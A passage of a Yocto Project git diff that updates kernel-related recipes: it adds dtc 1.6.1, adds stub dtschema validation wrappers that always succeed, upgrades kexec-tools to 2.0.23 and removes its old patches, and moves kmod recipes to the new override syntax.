- file://libfdt/libfdt.h;beginline=4;endline=7;md5=05bb357cfb75cae7d2b01d2ee8d76407"
-
-SRCREV = "2525da3dba9beceb96651dc2986581871dbeca30"
-
-S = "${WORKDIR}/git"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/dtc/dtc_1.6.1.bb b/meta/recipes-kernel/dtc/dtc_1.6.1.bb
new file mode 100644
index 0000000000..2610b26a94
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc_1.6.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Device Tree Compiler"
+HOMEPAGE = "https://devicetree.org/"
+DESCRIPTION = "The Device Tree Compiler is a tool used to manipulate the Open-Firmware-like device tree used by PowerPC kernels."
+SECTION = "bootloader"
+LICENSE = "GPLv2 | BSD-2-Clause"
+
+LIC_FILES_CHKSUM = "file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://libfdt/libfdt.h;beginline=4;endline=7;md5=05bb357cfb75cae7d2b01d2ee8d76407"
+
+SRC_URI = "git://git.kernel.org/pub/scm/utils/dtc/dtc.git;branch=master \
+ file://0001-fdtdump-fix-Werror-int-to-pointer-cast.patch"
+SRCREV = "b6910bec11614980a21e46fbccc35934b671bd81"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig
+
+EXTRA_OEMESON = "-Dpython=disabled -Dvalgrind=disabled"
+
+PACKAGECONFIG ??= "tools"
+PACKAGECONFIG[tools] = "-Dtools=true,-Dtools=false,flex-native bison-native"
+PACKAGECONFIG[yaml] = "-Dyaml=enabled,-Dyaml=disabled,libyaml"
+
+PACKAGES =+ "${PN}-misc"
+FILES:${PN}-misc = "${bindir}/convert-dtsv0 ${bindir}/ftdump ${bindir}/dtdiff"
+RDEPENDS:${PN}-misc += "${@bb.utils.contains('PACKAGECONFIG', 'tools', 'bash diffutils', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate
new file mode 100644
index 0000000000..2aa57851c7
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-doc-validate wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-doc-validate.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema
new file mode 100644
index 0000000000..24b89d8619
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-mk-schema wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-mk-schema.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate
new file mode 100644
index 0000000000..8a4710a7ed
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-validate wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-validate.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb b/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb
new file mode 100644
index 0000000000..c869274d09
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb
@@ -0,0 +1,17 @@
+DESCRIPTION = "Wrapper for tooling for devicetree validation using YAML and jsonschema"
+HOMEPAGE = "https://yoctoproject.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+SRC_URI = "file://dt-doc-validate \
+ file://dt-mk-schema \
+ file://dt-validate"
+
+do_install() {
+ install -d ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-doc-validate ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-mk-schema ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-validate ${D}${bindir}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb b/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
index ea33732a3e..74db9363a1 100644
--- a/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
+++ b/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
@@ -1,18 +1,20 @@
SUMMARY = "Tools for managing Yocto Project style branched kernels"
+DESCRIPTION = "Powerful set of tools or managing Yocto Linux kernel sources \
+and configuration data. You can use these tools to make a single configuration \
+change, apply multiple patches, or work with your own kernel sources."
+HOMEPAGE = "https://www.yoctoproject.org/"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://tools/kgit;beginline=5;endline=9;md5=9c30e971d435e249624278c3e343e501"
DEPENDS = "git-native"
-SRCREV = "df4390b18a500a1a7d4695e1856971f8e36ce517"
-PR = "r12"
-PV = "0.2+git${SRCPV}"
+SRCREV = "90598a5fae1172e3f7782a1b02f7b7518efd32c8"
+PV = "0.3+git${SRCPV}"
inherit native
-SRC_URI = "git://git.yoctoproject.org/yocto-kernel-tools.git"
+SRC_URI = "git://git.yoctoproject.org/yocto-kernel-tools.git;branch=master"
S = "${WORKDIR}/git"
-UPSTREAM_CHECK_COMMITS = "1"
do_configure() {
:
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch b/meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch
deleted file mode 100644
index 31f4d00b53..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch
+++ /dev/null
@@ -1,78 +0,0 @@
-From c5fec6d6368b4103557deb710150119dca438544 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 5 Aug 2020 10:46:39 -0700
-Subject: [PATCH] kexec: Fix build with -fno-common
-
-Ensure that my_debug is not doubly defined
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- kexec/arch/ppc64/kexec-elf-ppc64.c | 2 --
- kexec/fs2dt.h | 2 +-
- 2 files changed, 1 insertion(+), 3 deletions(-)
-
---- a/kexec/arch/ppc64/kexec-elf-ppc64.c
-+++ b/kexec/arch/ppc64/kexec-elf-ppc64.c
-@@ -44,8 +44,6 @@
- uint64_t initrd_base, initrd_size;
- unsigned char reuse_initrd = 0;
- const char *ramdisk;
--/* Used for enabling printing message from purgatory code */
--int my_debug = 0;
-
- int elf_ppc64_probe(const char *buf, off_t len)
- {
---- a/kexec/fs2dt.h
-+++ b/kexec/fs2dt.h
-@@ -30,7 +30,7 @@ extern struct bootblock bb[1];
-
- /* Used for enabling printing message from purgatory code
- * Only has implemented for PPC64 */
--int my_debug;
-+extern int my_debug;
- extern int dt_no_old_root;
-
- void reserve(unsigned long long where, unsigned long long length);
---- a/kexec/arch/arm64/kexec-arm64.h
-+++ b/kexec/arch/arm64/kexec-arm64.h
-@@ -50,8 +50,8 @@ int zImage_arm64_load(int argc, char **a
- void zImage_arm64_usage(void);
-
-
--off_t initrd_base;
--off_t initrd_size;
-+extern off_t initrd_base;
-+extern off_t initrd_size;
-
- /**
- * struct arm64_mem - Memory layout info.
-@@ -65,7 +65,7 @@ struct arm64_mem {
- };
-
- #define arm64_mem_ngv UINT64_MAX
--struct arm64_mem arm64_mem;
-+extern struct arm64_mem arm64_mem;
-
- uint64_t get_phys_offset(void);
- uint64_t get_vp_offset(void);
---- a/kexec/arch/x86_64/kexec-bzImage64.c
-+++ b/kexec/arch/x86_64/kexec-bzImage64.c
-@@ -42,7 +42,6 @@
- #include <arch/options.h>
-
- static const int probe_debug = 0;
--int bzImage_support_efi_boot;
-
- int bzImage64_probe(const char *buf, off_t len)
- {
---- a/kexec/arch/ppc/kexec-elf-ppc.c
-+++ b/kexec/arch/ppc/kexec-elf-ppc.c
-@@ -33,7 +33,6 @@
- static const int probe_debug = 0;
-
- unsigned char reuse_initrd;
--const char *ramdisk;
- int create_flatten_tree(struct kexec_info *, unsigned char **, unsigned long *,
- char *);
-
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch b/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch
deleted file mode 100644
index a809d5ba8e..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch
+++ /dev/null
@@ -1,93 +0,0 @@
-From 8c9a5076543eb3d497e016b3d7707e93d6311883 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Mon, 15 Jul 2013 23:32:36 -0700
-Subject: [PATCH] x86_64: Add support to build kexec-tools with x32 ABI
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Summary of changes,
-
-configure.ac: Add test for detect x32 ABI.
-purgatory/arch/x86_64/Makefile: Not use mcmodel large when
- x32 ABI is set.
-kexec/arch/x86_64/kexec-elf-rel-x86_64.c: When x32 ABI is set
- use ELFCLASS32 instead of ELFCLASS64.
-kexec/kexec-syscall.h: Add correct syscall number for x32 ABI.
-
-Upstream-Status: Submitted
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-Signed-off-by: Mariano Lopez <mariano.lopez@linux.intel.com>
----
- configure.ac | 9 +++++++++
- kexec/arch/x86_64/kexec-elf-rel-x86_64.c | 4 ++++
- kexec/kexec-syscall.h | 4 ++++
- purgatory/arch/x86_64/Makefile | 4 +++-
- 4 files changed, 20 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index c2b0c68..60882b8 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -54,6 +54,15 @@ case $target_cpu in
- ;;
- ia64|x86_64|alpha|m68k )
- ARCH="$target_cpu"
-+
-+ dnl ---Test for x32 ABI in x86_64
-+ if test "x$ARCH" = "xx86_64" ; then
-+ AC_EGREP_CPP(x32_test,
-+ [#if defined(__x86_64__) && defined (__ILP32__)
-+ x32_test
-+ #endif
-+ ], SUBARCH='x32', SUBARCH='64')
-+ fi
- ;;
- * )
- AC_MSG_ERROR([unsupported architecture $target_cpu])
-diff --git a/kexec/arch/x86_64/kexec-elf-rel-x86_64.c b/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-index db85b44..0ce1172 100644
---- a/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-+++ b/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-@@ -8,7 +8,11 @@ int machine_verify_elf_rel(struct mem_ehdr *ehdr)
- if (ehdr->ei_data != ELFDATA2LSB) {
- return 0;
- }
-+#ifdef __ILP32__
-+ if (ehdr->ei_class != ELFCLASS32) {
-+#else
- if (ehdr->ei_class != ELFCLASS64) {
-+#endif
- return 0;
- }
- if (ehdr->e_machine != EM_X86_64) {
-diff --git a/kexec/kexec-syscall.h b/kexec/kexec-syscall.h
-index dac1c1f..e9479b7 100644
---- a/kexec/kexec-syscall.h
-+++ b/kexec/kexec-syscall.h
-@@ -31,8 +31,12 @@
- #define __NR_kexec_load 268
- #endif
- #ifdef __x86_64__
-+#ifdef __ILP32__
-+#define __NR_kexec_load 528
-+#else
- #define __NR_kexec_load 246
- #endif
-+#endif
- #ifdef __s390x__
- #define __NR_kexec_load 277
- #endif
-diff --git a/purgatory/arch/x86_64/Makefile b/purgatory/arch/x86_64/Makefile
-index 7300937..4af11e4 100644
---- a/purgatory/arch/x86_64/Makefile
-+++ b/purgatory/arch/x86_64/Makefile
-@@ -23,4 +23,6 @@ x86_64_PURGATORY_SRCS += purgatory/arch/i386/console-x86.c
- x86_64_PURGATORY_SRCS += purgatory/arch/i386/vga.c
- x86_64_PURGATORY_SRCS += purgatory/arch/i386/pic.c
-
--x86_64_PURGATORY_EXTRA_CFLAGS = -mcmodel=large
-+ifeq ($(SUBARCH),64)
-+ x86_64_PURGATORY_EXTRA_CFLAGS = -mcmodel=large
-+endif
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch b/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch
deleted file mode 100644
index 6811dfa597..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b54816eff272324320c490d62dc36b27d2838732 Mon Sep 17 00:00:00 2001
-From: Quanyang Wang <quanyang.wang@windriver.com>
-Date: Mon, 16 Sep 2019 10:49:05 +0800
-Subject: [PATCH] kexec/arm: undefine __NR_kexec_file_load for arm
-
-In the kernel upstream commit 4ab65ba7a5cb
-("ARM: add kexec_file_load system call number"),
-__NR_kexec_file_load for arm has been defined to be 401.
-This results that even if kexec_file_load isn't implemented
-for arm but the function is_kexec_file_load_implemented()
-will still return true. So undef __NR_kexec_file_load for
-arm architecture.
-
-Upstream-Status: Backport
-[https://git.kernel.org/pub/scm/utils/kernel/kexec/kexec-tools.git/commit/kexec/kexec-syscall.h?id=b54816eff272324320c490d62dc36b27d2838732]
-
-Signed-off-by: Quanyang Wang <quanyang.wang@windriver.com>
-Signed-off-by: Simon Horman <horms@verge.net.au>
----
- kexec/kexec-syscall.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/kexec/kexec-syscall.h b/kexec/kexec-syscall.h
-index dac1c1f..92d51d3 100644
---- a/kexec/kexec-syscall.h
-+++ b/kexec/kexec-syscall.h
-@@ -56,6 +56,10 @@
- #endif
- #endif /*ifndef __NR_kexec_load*/
-
-+#ifdef __arm__
-+#undef __NR_kexec_file_load
-+#endif
-+
- #ifndef __NR_kexec_file_load
-
- #ifdef __x86_64__
---
-2.17.1
-
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch b/meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch
deleted file mode 100644
index b91608e52b..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From d294c5039753a36506949ba5dc782a4c0b307b74 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 17:21:08 +0100
-Subject: [PATCH] kexec: un-break the build on 32 bit x86
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- kexec/arch/i386/Makefile | 1 +
- kexec/arch/i386/kexec-x86.h | 4 ++++
- 2 files changed, 5 insertions(+)
-
-diff --git a/kexec/arch/i386/Makefile b/kexec/arch/i386/Makefile
-index 105cefd..25df57a 100644
---- a/kexec/arch/i386/Makefile
-+++ b/kexec/arch/i386/Makefile
-@@ -11,6 +11,7 @@ i386_KEXEC_SRCS += kexec/arch/i386/kexec-beoboot-x86.c
- i386_KEXEC_SRCS += kexec/arch/i386/kexec-nbi.c
- i386_KEXEC_SRCS += kexec/arch/i386/x86-linux-setup.c
- i386_KEXEC_SRCS += kexec/arch/i386/crashdump-x86.c
-+i386_KEXEC_SRCS += kexec/arch/i386/kexec-mb2-x86.c
-
- dist += kexec/arch/i386/Makefile $(i386_KEXEC_SRCS) \
- kexec/arch/i386/crashdump-x86.h \
-diff --git a/kexec/arch/i386/kexec-x86.h b/kexec/arch/i386/kexec-x86.h
-index 1b58c3b..d6b10c0 100644
---- a/kexec/arch/i386/kexec-x86.h
-+++ b/kexec/arch/i386/kexec-x86.h
-@@ -56,9 +56,13 @@ struct arch_options_t {
- };
-
- int multiboot_x86_probe(const char *buf, off_t len);
-+int multiboot2_x86_probe(const char *buf, off_t len);
- int multiboot_x86_load(int argc, char **argv, const char *buf, off_t len,
- struct kexec_info *info);
-+int multiboot2_x86_load(int argc, char **argv, const char *buf, off_t len,
-+ struct kexec_info *info);
- void multiboot_x86_usage(void);
-+void multiboot2_x86_usage(void);
-
- int elf_x86_probe(const char *buf, off_t len);
- int elf_x86_load(int argc, char **argv, const char *buf, off_t len,
diff --git a/meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb b/meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb
deleted file mode 100644
index 69d2e9bfba..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-
-SUMMARY = "Kexec fast reboot tools"
-DESCRIPTION = "Kexec is a fast reboot feature that lets you reboot to a new Linux kernel"
-AUTHOR = "Eric Biederman"
-HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kexec/"
-SECTION = "kernel/userland"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ea5bed2f60d357618ca161ad539f7c0a \
- file://kexec/kexec.c;beginline=1;endline=20;md5=af10f6ae4a8715965e648aa687ad3e09"
-DEPENDS = "zlib xz"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/kernel/kexec/kexec-tools-${PV}.tar.gz \
- file://kdump \
- file://kdump.conf \
- file://kdump.service \
- file://0001-powerpc-change-the-memory-size-limit.patch \
- file://0002-purgatory-Pass-r-directly-to-linker.patch \
- file://0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch \
- file://0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch \
- file://0005-Disable-PIE-during-link.patch \
- file://0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch \
- file://0007-kexec-un-break-the-build-on-32-bit-x86.patch \
- file://0001-kexec-Fix-build-with-fno-common.patch \
- file://0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch \
- "
-
-SRC_URI[md5sum] = "46724b67f32501c5d3e778161347cad9"
-SRC_URI[sha256sum] = "cb16d79818e0c9de3bb3e33ede5677c34a1d28c646379c7ab44e0faa3eb57a16"
-
-inherit autotools update-rc.d systemd
-
-export LDFLAGS = "-L${STAGING_LIBDIR}"
-EXTRA_OECONF = " --with-zlib=yes"
-
-do_compile_prepend() {
- # Remove the prepackaged config.h from the source tree as it overrides
- # the same file generated by configure and placed in the build tree
- rm -f ${S}/include/config.h
-
- # Remove the '*.d' file to make sure the recompile is OK
- for dep in `find ${B} -type f -name '*.d'`; do
- dep_no_d="`echo $dep | sed 's#.d$##'`"
- # Remove file.d when there is a file.o
- if [ -f "$dep_no_d.o" ]; then
- rm -f $dep
- fi
- done
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/sysconfig
- install -m 0644 ${WORKDIR}/kdump.conf ${D}${sysconfdir}/sysconfig
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -D -m 0755 ${WORKDIR}/kdump ${D}${sysconfdir}/init.d/kdump
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -D -m 0755 ${WORKDIR}/kdump ${D}${libexecdir}/kdump-helper
- install -D -m 0644 ${WORKDIR}/kdump.service ${D}${systemd_unitdir}/system/kdump.service
- sed -i -e 's,@LIBEXECDIR@,${libexecdir},g' ${D}${systemd_unitdir}/system/kdump.service
- fi
-}
-
-PACKAGES =+ "kexec kdump vmcore-dmesg"
-
-ALLOW_EMPTY_${PN} = "1"
-RRECOMMENDS_${PN} = "kexec kdump vmcore-dmesg"
-
-FILES_kexec = "${sbindir}/kexec"
-FILES_kdump = "${sbindir}/kdump \
- ${sysconfdir}/sysconfig/kdump.conf \
- ${sysconfdir}/init.d/kdump \
- ${libexecdir}/kdump-helper \
- ${systemd_unitdir}/system/kdump.service \
-"
-
-FILES_vmcore-dmesg = "${sbindir}/vmcore-dmesg"
-
-INITSCRIPT_PACKAGES = "kdump"
-INITSCRIPT_NAME_kdump = "kdump"
-INITSCRIPT_PARAMS_kdump = "start 56 2 3 4 5 . stop 56 0 1 6 ."
-
-SYSTEMD_PACKAGES = "kdump"
-SYSTEMD_SERVICE_kdump = "kdump.service"
-
-SECURITY_PIE_CFLAGS_remove = "-fPIE -pie"
-
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|powerpc.*|mips.*)-(linux|freebsd.*)'
-
-INSANE_SKIP_${PN} = "arch"
diff --git a/meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb b/meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb
new file mode 100644
index 0000000000..066de99fad
--- /dev/null
+++ b/meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb
@@ -0,0 +1,86 @@
+
+SUMMARY = "Kexec fast reboot tools"
+DESCRIPTION = "Kexec is a fast reboot feature that lets you reboot to a new Linux kernel"
+AUTHOR = "Eric Biederman"
+HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kexec/"
+SECTION = "kernel/userland"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ea5bed2f60d357618ca161ad539f7c0a \
+ file://kexec/kexec.c;beginline=1;endline=20;md5=af10f6ae4a8715965e648aa687ad3e09"
+DEPENDS = "zlib xz"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/kernel/kexec/kexec-tools-${PV}.tar.gz \
+ file://kdump \
+ file://kdump.conf \
+ file://kdump.service \
+ file://0001-powerpc-change-the-memory-size-limit.patch \
+ file://0002-purgatory-Pass-r-directly-to-linker.patch \
+ file://0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch \
+ file://0005-Disable-PIE-during-link.patch \
+ file://0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch \
+ "
+
+SRC_URI[sha256sum] = "c7dcc59f5b66004d9d91264324e20e0387ea263dbb449708fbf84a4e5ff7decc"
+
+inherit autotools update-rc.d systemd
+
+export LDFLAGS = "-L${STAGING_LIBDIR}"
+EXTRA_OECONF = " --with-zlib=yes"
+
+do_compile:prepend() {
+ # Remove the prepackaged config.h from the source tree as it overrides
+ # the same file generated by configure and placed in the build tree
+ rm -f ${S}/include/config.h
+
+ # Remove the '*.d' file to make sure the recompile is OK
+ for dep in `find ${B} -type f -name '*.d'`; do
+ dep_no_d="`echo $dep | sed 's#.d$##'`"
+ # Remove file.d when there is a file.o
+ if [ -f "$dep_no_d.o" ]; then
+ rm -f $dep
+ fi
+ done
+}
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/sysconfig
+ install -m 0644 ${WORKDIR}/kdump.conf ${D}${sysconfdir}/sysconfig
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -D -m 0755 ${WORKDIR}/kdump ${D}${sysconfdir}/init.d/kdump
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -D -m 0755 ${WORKDIR}/kdump ${D}${libexecdir}/kdump-helper
+ install -D -m 0644 ${WORKDIR}/kdump.service ${D}${systemd_system_unitdir}/kdump.service
+ sed -i -e 's,@LIBEXECDIR@,${libexecdir},g' ${D}${systemd_system_unitdir}/kdump.service
+ fi
+}
+
+PACKAGES =+ "kexec kdump vmcore-dmesg"
+
+ALLOW_EMPTY:${PN} = "1"
+RRECOMMENDS:${PN} = "kexec kdump vmcore-dmesg"
+
+FILES:kexec = "${sbindir}/kexec"
+FILES:kdump = "${sbindir}/kdump \
+ ${sysconfdir}/sysconfig/kdump.conf \
+ ${sysconfdir}/init.d/kdump \
+ ${libexecdir}/kdump-helper \
+ ${systemd_system_unitdir}/kdump.service \
+"
+
+FILES:vmcore-dmesg = "${sbindir}/vmcore-dmesg"
+
+INITSCRIPT_PACKAGES = "kdump"
+INITSCRIPT_NAME:kdump = "kdump"
+INITSCRIPT_PARAMS:kdump = "start 56 2 3 4 5 . stop 56 0 1 6 ."
+
+SYSTEMD_PACKAGES = "kdump"
+SYSTEMD_SERVICE:kdump = "kdump.service"
+
+SECURITY_PIE_CFLAGS:remove = "-fPIE -pie"
+
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|powerpc.*|mips.*)-(linux|freebsd.*)'
+
+INSANE_SKIP:${PN} = "arch"
diff --git a/meta/recipes-kernel/kmod/kmod-native_git.bb b/meta/recipes-kernel/kmod/kmod-native_git.bb
index f61134bbaf..4dd34b1c82 100644
--- a/meta/recipes-kernel/kmod/kmod-native_git.bb
+++ b/meta/recipes-kernel/kmod/kmod-native_git.bb
@@ -7,7 +7,7 @@ DEPENDS += "zlib-native"
inherit native
-do_install_append (){
+do_install:append (){
for tool in depmod insmod lsmod modinfo modprobe rmmod
do
ln -s kmod ${D}${bindir}/$tool
diff --git a/meta/recipes-kernel/kmod/kmod.inc b/meta/recipes-kernel/kmod/kmod.inc
index dabda2d57e..d527887b78 100644
--- a/meta/recipes-kernel/kmod/kmod.inc
+++ b/meta/recipes-kernel/kmod/kmod.inc
@@ -6,7 +6,7 @@ DESCRIPTION = "kmod is a set of tools to handle common tasks with Linux kernel m
insert, remove, list, check properties, resolve dependencies and aliases."
HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kmod/"
LICENSE = "GPL-2.0+ & LGPL-2.1+"
-LICENSE_libkmod = "LGPL-2.1+"
+LICENSE:libkmod = "LGPL-2.1+"
SECTION = "base"
LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
@@ -15,18 +15,17 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
"
inherit autotools gtk-doc pkgconfig manpages
-SRCREV = "819a125ca756003dce2d11624035b7fb605a8e99"
+SRCREV = "b6ecfc916a17eab8f93be5b09f4e4f845aabd3d1"
# Lookout for PV bump too when SRCREV is changed
-PV = "27"
+PV = "29"
-SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git \
+SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git;branch=master \
file://depmod-search.conf \
file://avoid_parallel_tests.patch \
"
S = "${WORKDIR}/git"
-EXTRA_AUTORECONF += "--install --symlink"
EXTRA_OECONF +=" --enable-tools --with-zlib"
PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
diff --git a/meta/recipes-kernel/kmod/kmod_git.bb b/meta/recipes-kernel/kmod/kmod_git.bb
index 4f2b037f2f..9bd66de430 100644
--- a/meta/recipes-kernel/kmod/kmod_git.bb
+++ b/meta/recipes-kernel/kmod/kmod_git.bb
@@ -5,35 +5,35 @@ require kmod.inc
DEPENDS += "zlib"
PROVIDES += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RPROVIDES_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RCONFLICTS_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RREPLACES_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RPROVIDES:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RCONFLICTS:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RREPLACES:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
# to force user to remove old module-init-tools and replace them with kmod variants
-RCONFLICTS_libkmod2 += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RCONFLICTS:libkmod2 += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
# autotools set prefix to /usr, however we want them in /bin and /sbin
EXTRA_OECONF += " --bindir=${base_bindir} --sbindir=${base_sbindir}"
-do_install_append () {
+do_install:append () {
install -dm755 ${D}${base_bindir}
install -dm755 ${D}${base_sbindir}
# add symlinks to kmod
- lnr ${D}${base_bindir}/kmod ${D}${base_bindir}/lsmod
+ ln -rs ${D}${base_bindir}/kmod ${D}${base_bindir}/lsmod
for tool in insmod rmmod depmod modinfo modprobe; do
- lnr ${D}${base_bindir}/kmod ${D}${base_sbindir}/${tool}
+ ln -rs ${D}${base_bindir}/kmod ${D}${base_sbindir}/${tool}
done
# configuration directories
- install -dm755 ${D}${base_libdir}/depmod.d
- install -dm755 ${D}${base_libdir}/modprobe.d
+ install -dm755 ${D}${nonarch_base_libdir}/depmod.d
